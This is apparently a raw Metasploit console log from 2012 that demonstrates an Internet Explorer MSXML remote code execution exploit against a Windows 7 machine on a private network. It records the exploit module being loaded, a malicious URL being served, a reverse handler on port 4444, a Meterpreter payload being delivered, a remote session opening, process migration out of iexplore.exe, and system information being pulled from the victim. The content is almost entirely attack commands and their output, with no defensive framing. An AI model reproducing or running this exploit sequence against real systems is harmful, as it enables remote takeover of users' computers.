%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
=[ metasploit v4.4.0-dev [core:4.4 api:1.0]
+ -- --=[ 887 exploits - 481 auxiliary - 145 post
+ -- --=[ 251 payloads - 28 encoders - 8 nops
msf > use exploit/windows/browser/msxml_get_definition_code_exec
msf exploit(msxml_get_definition_code_exec) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/nIkw3ui
[*] Local IP: http://192.168.1.157:8080/nIkw3ui
[*] Server started.
msf exploit(msxml_get_definition_code_exec) > [*] 192.168.1.136 msxml_get_definition_code_exec - Using JRE ROP
[*] 192.168.1.136 msxml_get_definition_code_exec - 192.168.1.136:49274 - Sending html
[*] Sending stage (752128 bytes) to 192.168.1.136
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.136:49276) at 2012-06-18 17:55:12 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.136:49276) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2308)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1652
[+] Successfully migrated to process
msf exploit(msxml_get_definition_code_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : JUAN-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >